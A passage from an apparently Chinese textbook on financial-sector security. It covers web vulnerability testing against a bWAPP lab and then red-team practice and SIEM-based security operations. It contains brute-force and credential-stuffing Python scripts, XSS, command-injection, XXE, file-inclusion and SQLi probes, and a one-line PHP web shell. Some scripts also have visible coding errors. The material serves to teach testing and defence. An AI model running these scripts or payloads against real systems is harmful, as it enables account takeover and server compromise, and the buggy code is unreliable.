·调用js加密算法进行暴破。 ·调用加密算法函数。 登录框如图19-9所示。 图19-9 登录框 1.Seleium自动化方式 下面包体做了AES加密情况: POST /sec/login HTTP/1.1 Host: sectest.com Content-Length: 236 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0 Content-Type: text/plain; charset=UTF-8 Referer: http://sectest.com Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=C964B4C201C0DCE8C04844881E106D38 Connection: close UYJiPK6CMJIREWXybTv/Ii/IM6xRWG4VSb7HJDa2yhjdg5XqzVRE7lH2aSXsCemH 验证性代码: #coding=utf-8 from selenium import webdriver import time driver = webdriver.Chrome() base_url = "http://sec.com/?login" with open("user.txt","r") as users: user = users.readlines() with open("pwd.txt", "r") as pwds: pwd = pwds.readlines() for u in user: for p in pwd: u1 = u.strip() p1 = p.strip() url = base_url + "?"+ u driver.get(url) time.sleep(2) driver.find_element_by_id("username").send_keys(u1) driver.find_element_by_id("password").send_keys(p1) driver.find_element_by_id("login").click() time.sleep(1) current_url = driver.current_url if current_url != url: print u1+":"+p1 driver.delete_all_cookies() driver.close() 验证的结果如下所示: steven:qweQWE123 jimmy:abc!@# 2.调用js加密算法 GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1 Host:sectest.com Connection:close User-Agent:Mozilla/5.0(Windows NT)Gecko/20100101 Firefox/57.0 GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1 Host: sectest.com Connection: close User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0 Accept: */* Referer: http://sectest.com/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=693AB2BA1D1393C212427103AC9799C8 在js文件搜索到加密规则: var check = hex_md5(Func.getConfig().key + Name + Pwd); password: stringToHex(des("dev#test" ,pwd, 1 , 0)) Func key: "cchash" 通过分析发现使用了des和md5加密,直接下载到本地磁盘上,方便调用。 部分验证的源代码: import requests import execjs def get_js_hash(filename): with open(filename, "r") as hashfile: file = hashfile.read() return file brute(): ctx_des = execjs.compile(get_js_hash("des.js")) ctx_md5 = execjs.compile(get_js_hash("md5.js")) with open("user.txt","r") as users: user = user.readlines() with open("pwd.txt", "r") as pwds: pwd = pwd.readlines() success = open("success.txt","a") for u in user: for p in pwd: check = ctx_md5.call("hex_md5","cchash"+u.strip()+p.strip()) #调用hex_md5函数 pwd1 = ctx_des.call("stringToHex",ctx_des.call("des","dev#test",p,1,0)) #调用stringToHex和des函数 r = requests.get("http://sectest.com/Auth/?Name="+u+"&Pwd="+pwd1+"&check="+check) if "true" in r.content: print r.content success.write(u1.strip()+":"+strip()) else: print u.strip()+"--"+r.content success.close() if __name__ == "__main__": brute() 验证结果如下所示。 jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":true,"message":"登录成功"}) jsonp({"success":false,"message":"用户账号或密码错误"}) jsonp({"success":false,"message":"用户账号或密码错误"}) 3.调用加密函数 前端登录页面中泄露了加密算法为AES。先通过getkey获取到key和iv,后采用AES对密码加密,收集 手机号码进行撞密码攻击。 拦截到的请求包: POST /login HTTP/1.1 Host: sectest.com User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0 Accept:/ Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; X-Requested-With: XMLHttpRequest Referer: http://sectest.com/login.html mobile=13412341234&password=8cc9ecf55445a40d9aaab9fff33145a5 #coding:utf-8 import requests import json from Crypto.Cipher import AES from binascii import b2a_hex, a2b_hex class prpcrypt(): def __init__(self,key,iv): self.key = key self.iv = iv self.mode = AES.MODE_CBC self.BS = AES.block_size #补位 self.pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS) self.unpad = lambda s : s[0:-ord(s[-1])] def encrypt(self,text): text = self.pad(text) cryptor = AES.new(self.key,self.mode,self.iv) #目前AES-128 足够目前使用 ciphertext = cryptor.encrypt(text) #把加密后的字符串转化为16进制字符串 return b2a_hex(ciphertext) #解密后,去掉补足的空格用strip() 去掉 def decrypt(self,text): cryptor = AES.new(self.key,self.mode, iv) plain_text = cryptor.decrypt(a2b_hex(text)) return self.unpad(plain_text.rstrip('\0')) #做了Referer和cookies控制 cookies = dict(sid='rs5hcsaE3LP9v5xs9cxiJe3vzlYwocug') headers = {'user-agent': 'Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/ 57.0','Referer': 'http://sectest.com/login' #1 获取key: def get_pwd(password): r = requests.post('https://sectest.com/getkey',cookies=cookies,headers=headers) token = json.loads(r.text) key = token['data']['key'] iv = token['data']['iv'] aes = prpcrypt(key, iv) return aes.encrypt(password) #2 登录: password = 'P@ssword' for mobile in range(13012341234,13312341234): data = {'mobile':mobile,'password':get_pwd(password)} r = requests.post('http://sec.com/login',cookies=cookies,data=data, headers=headers) print r.text 验证结果如下所示: 19.4.3 XSS检测 XSS(Cross Site Scripting,跨站脚本攻击)的缩写为了和层叠样式表(Cascading Style Sheets, CSS)的缩写不造成混淆,故写为XSS,XSS是一种Web应用安全漏洞,它允许恶意Web用户将代码植入 到提供给其他用户使用的页面。 常见的XSS大致分为:反射型、存储型、DOM型: ·反射型XSS只是简单地把用户输入的数据回显给浏览器端,也就是说需要诱使用户“点击”一个恶意 链接,才能攻击成功。 ·存储型XSS会把用户输入的数据存放在服务器端,也叫“持久性XSS”。例如用户交互的功能点,只 要用户进入页面攻击代码将会执行。 ·DOM型XSS与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应。 一般检测方式是在URL参数中随意输入类似"><img src=a onerror=alert('test')>探测脚本,如果没有回 显的话,再换其他的探测脚本或缩小探测内容的范围,来判断是否对特殊字符过滤完全、编码问题等。 如下检测firstname参数时,发现浏览器直接解析执行了测试脚本,说明漏洞存在。 http://192.168.204.166/bWAPP/htmli_get.php?firstname="><img src=a onerror=alert('test')>&lastname="><img src=a onerror=alert('test')>&form=submit Firefox浏览器验证如图19-10所示。 图19-10 Firefox浏览器验证 Chrome验证如图19-11所示。 http://192.168.204.166/bWAPP/iframei.php?ParamUrl=javascript:alert('sectest')//ParamWidth=250&ParamHeight=250 图19-11 Chrome验证 19.4.4 OS命令执行检测 常用的payload模式有|、||、&、&&等: ·cmd1|cmd2:|表示将cmd1执行的结果输出给cmd2作为输入之用。 ·cmd1||cmd2:||表示先执行cmd1,成功后就不再执行cmd2;否则失败的话,则执行cmd2。 ·cmd1&cmd2:&表示先执行cmd1再执行cmd2,不管cmd1是否成功,都会执行cmd2。 ·cmd1&&cmd2:&&表示先执行cmd1,成功后再执行cmd2;否则失败的话,则不执行cmd2。 ·cmd1;cmd2:表示连接符号,执行完cmd1后再执行cmd2。 应用业务场景主要涉及工具类功能、关闭重启类功能、系统信息查看类功能等。 一般涉及命令执行的功能处,可以加入上面payload来探测是否存在命令执行漏洞,如下直接输入 test.com&ipconfig,返回了定制命令的结果,说明漏洞存在: http://192.168.204.166/bWAPP/commandi.php 通过输入一个域名test.com测试,返回信息进行了解析操作,如图19-12所示。 图19-12 信息解析 后在执行test.com&ipconfig发现返回了IP地址,说明存在OS命令执行漏洞,如图19-13所示。 图19-13 漏洞验证 19.4.5 SQL注入检测 常见的SQL注入类型主要包含几种: ·可显:攻击者可以在当前界面中获取数据库内容。 ·报错:攻击者可以构造数据库报错语句,从报错信息中获取数据库内容。 ·盲注:攻击者可以通过数据库逻辑或执行延时等方式获取数据库内容。 常用的探测方式是在参数值后输入','or'1'='1,and 1=1,'and'1'=',or 1=1等方式提交,查看服务器端返回的 结果来判断,数字时输入+-: http://192.168.204.166/bWAPP/sqli_1.php?title=&action=search 随意输入一个',出现SQL报错消息提示,再添加一个'后提交请求,发生了闭合,说明可能存在SQL 注入问题: Error:You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right sy 通过Sqlmap工具进行验证,发现存在SQL注入漏洞,如下所示: 19.4.6 XML实体注入检测 XXE实体注入检测(XML External Entity Injection,也叫XML注入)是指XML外部实体注入攻击。漏 洞是在对非安全的外部实体数据进行处理时引发的安全问题。 在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中 调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了“污染”源,在对XML文档处理后 则可能导致信息泄漏等安全问题。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、 执行系统命令、探测内网端口、攻击内网网站等危害。 一般采用XML传输数据时,可能存在XML注入安全漏洞。下面类似这种请求方式,可以通过探测方 式检测是否存在漏洞,结果如图19-14所示。 验证请求包如下: POST /bWAPP/sqli_8-2.php HTTP/1.1 Host: 192.168.204.166 Content-Length: 59 Origin: http://192.168.204.166 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/5 Content-type: text/xml; charset=UTF-8 Accept: */* Referer: http://192.168.204.166/bWAPP/sqli_8-1.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: security_level=0; PHPSESSID=1661b0dbf3rqteje50r4nrlu37 Connection: close <reset><login>bee</login><secret>Any bugs?</secret></reset> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><reset><login> bee&xxe;</login><secret>Any bugs?</secre 19.4.7 代码注入 代码注入攻击(code injection attack)通常是指在应用程序中注入要执行的代码片段。这种类型的攻 击利用目标程序没有对不信任的数据进行验证,通常因为缺少对输入输出数据的验证。 下面message参数没有对输入做验证,导致输入的字符串值转换成了代码执行,如图19-15所示。 图19-14 XML注入安全漏洞结果 验证URL:http://192.168.204.166/bWAPP/phpi.php?message=system(ipconfig)。 图19-15 错误的message参数导致的乱码 19.4.8 文件上传漏洞检测 文件上传漏洞是对用户上传的文件类型判断不完善,导致攻击者上传非法类型的文件。常见的几 类:客户端js校验、服务端后缀名、服务端内容检查、中间件解析漏洞、文件路径截断、HTTP不安全方 法(PUT协议)、条件竞争、MIME类型绕过等。 在实际中会遇到一些奇葩的情况。服务端返回消息为导入失败和文件上传失败的消息,一般情况下 会判断为不存在文件上传漏洞,实际上WebShell已成功上传到服务器上。一般通过上传路径猜测或在服 务器端发现,所以不要被返回的消息误导。 找到文件上传功能点,上传一个图片文件,通过Burpsuite Proxy模块拦截请求,篡改提交,如下所 示: POST /bWAPP/unrestricted_file_upload.php HTTP/1.1 Host: 192.168.204.166 Content-Length: 11714 Cache-Control: max-age=0 Origin: http://192.168.204.166 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBLreeGT9kLW3BBI7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.204.166/bWAPP/unrestricted_file_upload.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: security_level=0; PHPSESSID=5pri7tmkbid0sv86vao37fant7 Connection: close ------WebKitFormBoundaryBLreeGT9kLW3BBI7 Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg ÿøÿà 使用burpsuite拦截上传文件请求,把请求包中的test.jpg更改成test.php,包体内容更改成<?php system($_GET["cmd"]);?>后提交。 访问上传后的文件,可以成功执行系统命令,如图19-16所示。 http://192.168.204.166/bWAPP/images/test.php?cmd=whoami 图19-16 文件上传成功后只需命令 19.4.9 支付漏洞检测 支付漏洞可以篡改金额大小,达到低价格购买高价格的产品目的,对企业来说直接造成资金损失, 危害很大。支付漏洞一般出现在涉及购买、资金、交易等方面的功能处。常见的问题点:修改支付金额 大小(包括负数、小数、无限大值)、修改支付状态、修改商品数量、重复支付、修改优惠价、重放攻 击、越权支付、多线程并发等。 下面的检测通过代理拦截HTTP数据包,篡改金额为0.01可以成功支付,如图19-17所示。 图19-17 通过代理拦截HTTP数据包 19.4.10 密码找回漏洞 “密码找回”功能主要涉及的漏洞点有:验证码暴力破解、验证码回显、跳过验证步骤、邮箱或手机 号绑定、本地验证绕过、密码找回的Token可预测等,如下所示: ·验证码暴力破解:验证码可以暴力破解。 ·验证码回显:服务端直接返回验证码。 ·跳过验证步骤:跳过验证步骤、找回方式,直接到新密码设置页面。 ·邮箱、手机号绑定:绑定邮箱、手机号时,直接修改userid或其他用户的邮箱为自己的。 ·本地验证绕过:客户端在本地对验证码进行判断,一般都经过篡改返回的值来绕过客户端校验。 ·密码找回的Token可预测:token为服务器的时间、token为时间戳md5值。 下面输入任意账号查询时,服务端直接返回密码信息,如图19-18所示。 图19-18 查询密码 19.4.11 文件包含漏洞 文件包含漏洞是指如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执 行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式: ·本地文件包含:被包含的文件在本地服务器上时。 ·远程文件包含:被包含的文件在第三方服务器时。 下面通过测试发现可以获取到本地服务器上的文件,如图19-19所示。 http://192.168.204.166/bWAPP/rlfi.php?language=c:\windows\win.ini&action=go 图19-19 获取本地服务器上的文件 19.5 红蓝对抗 企业内网部署了各种安全控制措施形成的纵深防御体系,仍然有被突破的可能。除了黑盒检测加白 盒检测的方法之外,红蓝对抗也是一种经常采用的实战化安全检测手段。红蓝对抗一方面可发现内部更 多安全问题,另一方面可检测现有安全防御手段是否有效,运营体系是否跟得上。红蓝对抗有两种玩 法,一种是企业内部自己玩,即一组人负责攻,一组人负责防;还有一种玩法是请外部的机构来进行渗 透,内部安全团队负责防守。 相比请外部专业机构来进行渗透,内部团队存在的优势包括两个方面:一是更了解企业现有安全防 御措施以及可能存在的问题;二是掌握有更多内部资源包括企业组织机构、内部网络结构、内部应用系 统等等。 本节内容更偏重于内部红蓝对抗的活动,蓝队表示攻击方,红队表示防守方。 1.人员基本素质 蓝队通常由渗透测试人员组成,需要具备一些基本素质,和一些企业招渗透测试人员的能力和素质 要求基本类似,具体总结如下: 1)熟悉渗透测试的基本流程和基本原则,并在实际工作中严格遵守,这一点很重要。 2)熟悉常见的漏洞原理及其攻击技术,包括但不限于操作系统、Web应用、数据库等领域。 3)熟悉编程语言,有编码能力,包括但不限于C/C++/Java/PHP/Shell/Perl/Python等。 4)对安全有浓厚的兴趣,了解安全的前沿问题和技术(这里一般有个隐性条件,英语阅读能力好会 有优势)。 5)具备良好的团队协作意识和沟通能力,在大型企业里对这点要求还是有必要的。 红队负责防守,一般会包括安全系统建设、安全运营人员。由于纵深防御体系涉及的系统较多,还 需要有人来做一些各系统协调相关的工作。红队的防守水平,除了依赖成员本身所积累的经验和技术水 平外,更多还取决于企业安全建设能力特别是安全运营能力。 2.蓝队进攻基本流程 蓝队进攻基本流程跟渗透测试有很大类似之处,主要分为以下几步:明确目标、信息收集、漏洞探 测(挖掘)、漏洞验证(利用)、提升权限、消除痕迹、事后消息分析、编写渗透测试报告。 1)明确目标。先观察和理解给定的目标网络环境或资产的范围;再确定规则,要渗透什么、怎么去 渗透,渗透需要达到一个什么样的效果,有没有渗透测试时间限定等。 2)信息收集。信息收集阶段主要是收集一些基础信息,系统信息,应用信息,版本信息,服务信 息,人员信息以及相关防护信息。信息收集大多是工具加手工进行收集信息,工具如Nmap,相关终端命 令,浏览器插件,在线工具等。 3)漏洞探测(挖掘)。主要是探测(挖掘)系统漏洞,Web服务器漏洞,Web应用漏洞以及其他端 口服务漏洞,如Telnet,SSH,VNC,远程桌面连接服务(3389)等,以及由于一些不安全配置带来的风 险,如弱口令、未授权访问等。 4)漏洞验证(利用)。漏洞验证主要是利用探测到的漏洞进行攻击,方法主要有自动化验证 (msf),手工验证,业务漏洞验证,公开资源的验证等。总的来说就是工具加手工,为了方便,可以将 自己渗透常使用的工具进行封装为工具包。 5)提升权限。提升权限主要是在当前用户权限不是管理员的时候需要进行提升权限,提升权限可以 是提升系统权限,Web应用权限或是数据库权限等。提升权限也是为了方便进行进一步的渗透,如内网 渗透,确定攻击者能入侵到什么程度与深度等,从而进行对脆弱性以及对应的风险进行分析。 6)清除痕迹。主要是清除渗透过程中操作的一些痕迹,如添加的测试账号,上传的测试文件等。这 一步一般建议不做,除非出于对防守方保密的需要才会做。 7)事后信息分析。主要是对整个渗透过程进行信息分析与整理,分析脆弱环节,技术防护情况以及 管理方面的情况进行一个现状分析以及提出相关建议。 8)编写渗透测试报告。根据渗透测试具体情况编写渗透测试报告,渗透测试报告必须简洁明了,说 清楚渗透清单(范围),攻击路径,渗透成果,以及详细的漏洞详情(相关描述、漏洞危害等)及可行 的修复建议,最后对整改渗透情况进行简单的总结和分析,说清楚目前资产的状况是什么样的,应该从 哪些方面进行加强和提升。 3.蓝队进攻基本原则 进攻的基本原则如下: ·稳定性原则是指在能够确保信息系统持续稳定运行的前提下进行进攻。通过合理选择测试工具、测 试方法和测试时间,将蓝队进攻对系统正常运行的影响降到最小。 ·可控性原则是指在客户授权许可的范围内进行进攻,并通知客户提前做好系统备份,同时对进攻过 程进行监控,记录进攻过程,确保一旦发生异常能够及时发现并恢复。 ·保密性原则是指参与进攻的蓝队工作人员应该对测试过程中收集到的信息以及对信息的分析结果严 格保密,严格限制信息的传播范围。未经授权,不得泄露给工作以外的组织或个人。 4.心得体会 红蓝对抗设置两个衡量指标:攻防对抗成功率、攻防对抗检出率。对抗成功率指红队在规定时间内 检测发现蓝队的比例,如10次攻防对抗,成功发现9次,攻防对抗成功率90%。对抗检出率指每次攻防对 抗中,在所有应该能检测发现蓝队攻击路径上的安全感知器成功检出的比例,比如10个应该告警且被红 队运营成功识别的告警,最后成功识别是蓝队攻击的告警数量是6个,那么单次检出率为60%。相比攻防 对抗成功率,攻防对抗检出率更能说明红队防守质量,更值得投入去提升该指标。 笔者所在团队有一位非常优秀的渗透测试人员,内网各种系统基本上都被他成功突破过(既有B/S也 有C/S,既有内部开发的也有外购的商业系统),如入无人之境,可以说是蓝队中的佼佼者。其渗透测试 报告会直接发给大BOSS,大BOSS规定在收到其渗透测试报告24小时内,防守方(红队)必须提交报告 并且事件出现在SOC风险展示平台才算成功发现。渗透目标不定,渗透时间不定,同时渗透人员长久以 来积累了无数的资源包括各种弱密码、内部系统资料文件等,可想而知,红队压力会有多大,有时甚至 根本不清楚它会攻击什么目标,更别说知道他什么时候提交了报告。在红队经历了屡战屡败后,内网的 安全防御体系和常态化运营机制逐步建立,更加上对其过往的渗透测试报告进行复盘分析并在现有防御 体系中加以优化,终于能成功发现几次,也不能保证每次都能成功发现(注意有事件不代表成功发现, 还要运营好)。因为从发现安全事件到提交报告只有24小时,一些安全事件需要深入调查取证分析才能 形成有说服力的报告。印象最深的是某个周末下着大雨,我来到被渗透的某机构现场,从一个线索到最 后的结论报告提交,等我出来的时候已经是深夜。其中艰辛可想而知,也从侧面说明攻防对抗严重不对 称。建议有条件的企业,红蓝对抗可以将目标朝提升整体安全防护能力方向引导。 19.6 小结 本章介绍了安全检测技术及其使用方法,其中最重要的是检测思路,本书只是介绍了一些常见的案 例,更多检测思路需要长期跟踪业界技术进度,不断改进方式和思路。 第20章 安全运营 在金融企业信息安全建设初期,在网络层、系统层、应用层、数据层等部署了一系列安全设备和管 控措施进行日常运维,并确保其稳定运行。但往往会发现安全状况并没有得到有效的改善,安全问题仍 然频发,究其根本原因,是没有进行有效的安全运营。那么,金融企业如何建设有效的安全运营体系 呢? 20.1 安全运营概述 金融企业安全的内容是什么?金融企业安全的全貌是什么?要回答这两个问题,让我们拿着显微 镜,看看安全管理员每天的工作内容:每天查看各类安全设备和软件是不是正常运行;查看安全设备和 系统的安全告警,响应处理如入侵检测、互联网监测、蜜罐系统、防数据泄密系统的日志和告警,查看 各类审计系统,如数据库审计、防火墙规则审计,查看外部第三方漏洞平台信息;处理各类安全检测需 求和工单;有分支机构管理职责的还要督促分支机构的安全管理工作;填报各类安全报表和报告;推进各 类安全项目;有的还要付出大量精力应对各类安全检查和内外部审计。 做过基层安全运维的人对上述场景都会很熟悉,这是金融企业安全各个场景的缩影,但不是全貌。 如果一个企业只有少量人员、服务器和产品,那么上述内容就是企业安全工作的全部。但是,如果企业 拥有万台服务器、几百名程序员、数以百计的系统,那么企业安全除了安全设备部署、漏洞检测和漏洞 修复之外,还要考虑安全运营的问题,从工作量上看,这两类工作各占一半。 占据“半壁江山”的安全运营,重点要实现以下两个目标: 1)将安全服务质量保持在稳定区间。 企业部署大量的安全防护设备和措施,在显著提升安全检测能力的同时带来问题:随着安全设备数 量的急剧增多,如何解决安全设备有效性的问题?在应对安全设备数量和安全日志告警急剧增多的同 时,如何确保安全人员工作质量的稳定输出?安全运营的目标是要尽可能消除人员责任心等因素对安全 团队向外提供安全服务质量的影响。 举个例子,大餐和快餐,大餐靠的是名厨名师的发挥,如果今天这个名厨心情不好或者换个新人, 可能做出的产品质量就有非常大的下降。而快餐如肯德基,所有的操作都标准化和流程化,就是没学过 烹饪的人经过短期培训和严格管理,也能确保炸出的薯条味道一模一样。快餐的标准化流程和管理几乎 完全消除了人的因素,确保对外提供的服务质量能够始终稳定,不会出现大幅波动的情况。 安全运营的目标之一,就是在企业扩张,业务和系统日趋复杂,资源投入保持基本稳定的情况下, 尽量确保安全团队的服务质量保持在稳定区间。 2)安全工程化能力。 安全运营还需要解决的一个问题是安全工程化能力如何提升。举个例子,企业内很多有经验的安全 工程师能够对一台服务器疑似被黑进行排查溯源,查看服务器进程和各种日志记录,这是工程师的个人 能力。如何将安全工程师的这种能力转变成自动化的安全监测能力,并通过安全平台进行应急响应和处 理,让不具备这种能力的安全人员也能成为对抗攻击者的力量,这是安全工程化能力提升的收益,也是 安全运营关注的问题。 要实现目标,必须有方法。本章接下来将从架构、工具、所需资源三个方面介绍安全运营体系的实 现方法。 20.2 架构 安全运营架构如图20-1所示。 图20-1 安全运营架构 为确保安全运营架构能够灵活扩展,推荐按功能划分成四个模块:安全防护框架、安全运维框架、 安全验证框架、安全度量框架。 1.安全防护框架 安全防护框架的目的是部署尽可能多和有效的安全感知器(Sensor),这些安全感知器构成了信息安 全的“天网”,这部分是基础工作,也是安全的传统主战场,需要历经多年的持续投入积累。安全感知器 的部署遵循纵深防御的理念,如图20-2所示。 实际上可能远远不止图20-2中这些Sensor。比如网络层,可以把防火墙监测信息特别是Deny信息采集 了,有些防火墙还自带IPS功能,如CheckPoint的SmartDefense,就是特别好用的安全Sensor,交换机、路 由器的ACS服务器信息,堡垒机登录信息,虚拟层虚拟主机操作信息,Windows、Linux主机日志,在主 机部署安全客户端的监测信息,数据库审计系统监测信息,AD系统信息,存储备份系统操作信息, KVM、ILO等带外管理系统信息,ITIL系统工单信息,应用系统应用信息(如OA系统应用日志),SAP 系统应用信息,公文传输系统日志,FTP数据传输日志等。 图20-2 安全防护框架 企业基础安全的大部分内容就是建设各类安全Sensor,解决点状的安全问题和需求。比如企业防火墙 多了,如何管理防火墙规则的有效性和合规性,可能需要部署诸如Algosec、firemon等防火墙规则审计工 具,审计发现的信息就可以作为安全运维框架的输入。如果想监测企业内网或服务器访问了哪些恶意地 址,可以采集类似ArcOSI这样的开源恶意地址库。 安全防护框架建设,需要考虑两个问题: ·给安全运维框架发送原始监测信息还是Sensor处理后的监测告警信息?如果是防火墙、IPS等安全防 护系统,尽量是全量原始信息;如果是Windows、linux主机日志,合规检测,登入登出等信息,考虑对 原始信息进行过滤,只和安全相关的信息才作为安全运维框架的输入。 ·要不要做业务安全监测?Ayazero认为企业安全涵盖七大领域:①网络安全;②平台和业务安全;③ 广义的信息安全;④IT风险管理、IT审计&内控;⑤业务持续性管理;⑥安全品牌营销、渠道维护; ⑦CXO们的其他需求。对于传统行业,建议做①③④⑤;对于互联网公司,建议做①②⑤;对于金融行 业,建议做①③④;能力强的安全团队,建议做①②③④⑤⑥⑦。 2.安全运维框架 安全运维框架的建设目标是成为企业安全的大脑、耳目、神经中枢和手脚。在军队现代化作战体系 中,美军创造性地提出了C4 ISR作战指挥系统,即指挥、控制、通信、计算机与情报、监视、侦察。一 个完整的信息安全“作战指挥自动化系统”应包括以下几个分系统:基础架构平台、安全情报监视系统、 数据分析系统、安全控制系统。 ·“大脑”—基础架构平台。基础架构平台是构成指挥自动化系统的技术基础,指挥自动化系统要求容 量大、速度快,兼容性强。 ·“耳目”—安全情报,安全监视、侦察系统。主要是对安全防护框架中各安全Sensor的安全信息进行 收集和处理,实现异常行为的实时安全监测。 ·“神经中枢”—数据分析系统。综合运用各类智能分析算法和数据挖掘分析技术,实现安全信息处理 的自动化和决策方法的科学化,以保障对安全控制设备的高效管理,主要技术是智能分析算法和模型及 其实现。 ·“手脚”—安全控制系统。安全检测和控制系统是用来收集与显示安全信息、实施作战指挥系统发出 安全控制指令的工具,主要是各类安全控制技术和设备,如防病毒和主机安全客户端、防火墙等,实现 异常行为的实时安全控制。 安全运维框架实际落地时,企业会部署SIEM、安全大数据等类似平台,实现安全检测信息的统一采 集、分析处理和存储,大部分平台支持内置或自定义的黑名单检测规则进行实时检测。安全运维框架还 有很重要的一部分—安全事件的流程化处理和定期review、汇报。安全事件的流程化处理应遵循企业事件 管理流程(如ITIL),通过自动化下发安全工单,发送告警邮件、短信等方式进行安全提醒,安全事件 确认和溯源分析主要通过人工分析和确认的方式进行。对于100%确定的安全攻击通过自动化方式进行阻 断。同时,通过安全事件日例会、周报、月报、年报等方式进行闭环管理,并进行必要的管理层汇报。 3.安全验证框架 安全验证框架解决安全有效性的问题,承担对安全防护和安全运维两个框架的功能验证。安全验证 框架是企业安全的蓝军,在和平时期,蓝军扮演着对手角色,利于及时发现、评估、修复、确认和改进 安全防护框架和安全运维框架中的脆弱点。验证包括白盒检测(过程验证)和黑盒检测(结果验证)两 部分。 白盒检测(过程验证)是指建立自动化验证平台,对安全防护框架的管控措施实现100%的全面验 证,并可视化集成至安全运维平台中,管控措施失效能够在24小时内发现。通过自动化验证平台,可以 达到: ·验证安全Sensor的安全监测功能有效。 ·验证安全Sensor所产生的监测信息到SIEM平台的信息采集有效。 ·验证SIEM平台的安全检测规则有效。 ·验证告警方式(邮件、短信与可视化展示平台)有效。 基于上述目标,自动化验证要求所有的验证事件必须为自动化模拟真实事件产生,不能使用插入记 录的方式产生。同时,自动化验证事件应提供判断是否为验证事件的唯一标识,验证事件产生时间需统 一安排,防止集中触发。安全运维平台应能够监测到安全验证未通过的系统和规则,并产生告警信息, 通知安全运维人员介入处理。 黑盒检测(结果验证)是指通过多渠道安全渗透机制和红蓝对抗演习等,先于对手发现自己的漏洞 和弱点。多渠道安全渗透机制目前常见的就是安全众测,红蓝对抗演习需要企业具有较高攻防技能的安 全人员,也可聘请外部专业机构完成,用于检测安全防护框架和安全运维框架的有效性。 4.安全度量框架 安全度量框架主要用于衡量评价安全有效性,这是挺难的一件事,此处仅做一些探讨。度量可以分 成以下几个层次: 一是技术维度。包括防病毒安装率、正常率,入侵检测检出率、误报率,安全事件响应时长、处理 时长,高危预警漏洞排查所需时间和完全修复时间等。还可以考虑安全运维平台可用性、事件收敛率 等。合规性方面可以设置合规率、不合规项数量、内外部审计发现数量和严重度等。 二是安全运营成效。包括覆盖率、检出率、攻防对抗成功率。有多少业务和系统处于安全保护之 下,有多少无人问津的灰色地带,安全能在企业内部推动得多深入、多快速,这是需要综合技术和软性 技能的,成败主要系于安全团队负责人。检出率和攻防对抗成功率都是衡量安全有效性的有效指标,安 全团队即使不能拍着胸脯保证不出事,也不能靠运气和概率生存,那么,持续提升检出率和攻防对抗成 功率就是努力的方向。 三是安全满意度和安全价值。安全价值反映在安全对业务支撑的能力,如TCO/ROI、安全用多少资 源、支撑了多少业务、支撑的程度等。安全价值还体现在内部的影响力以及对业务的影响力,是做微观 安全还是广义安全,是为业务带来正面影响还是负分拖后腿。安全满意度是综合维度指标,是对安全团 队和人员的最高要求,既要满足上级领导和业务部门对安全的利益诉求。又要满足同级横向其他IT团队 对安全的利益诉求,还要满足团队内部成员的利益诉求。要提供最佳的安全服务,既让安全的用户成为 安全的客户,又让使用者满意,真的是非常非常有挑战的一件事情。 20.3 工具 安全运营工具包括支撑安全运维框架实现的SIEM平台、安全事件处理标准化流程工具ITIL、安全控 制自动化工具三部分: ·SIEM平台,负责安全信息的统一收集和存储、基于检测规则的异常检测和告警。 ·ITIL平台,负责接收SIEM平台发送过来的安全事件信息,并据此产生ITIL工单,推送给安全运营人 员处理和关闭。 ·安全控制自动化工具,负责根据SIEM平台下发的安全控制指令进行自动化操作。例如,检测发现有 外部攻击源,通过下发自动化指令实现防火墙或IPS封禁该攻击源;检测发现某主机有可疑进程,通过安 全客户端收集该进程文件样本信息进一步手动分析;检测发现办公内网某用户计算机上有个可疑的非人 工操作,疑似程序自动操作,可通过安全客户端提示用户手工确认等。 SIEM平台、ITIL平台目前市面上成熟的产品不少,但安全控制自动化工具目前商业化程度不高。 1.检测规则 如果有合适的检测规则,SIEM是个非常强大的工具,可以检测其他安全工具无法捕获的安全事件。 通常SIEM的检测规则有三类: (1)检测条件规则。满足单一特定检测条件则触发告警。例如,服务器主机登录来源非堡垒机地 址,满足该条件则告警。该类型规则最简单,主要依靠安全Sensor的监测能力和规则过滤能力。是攻击就 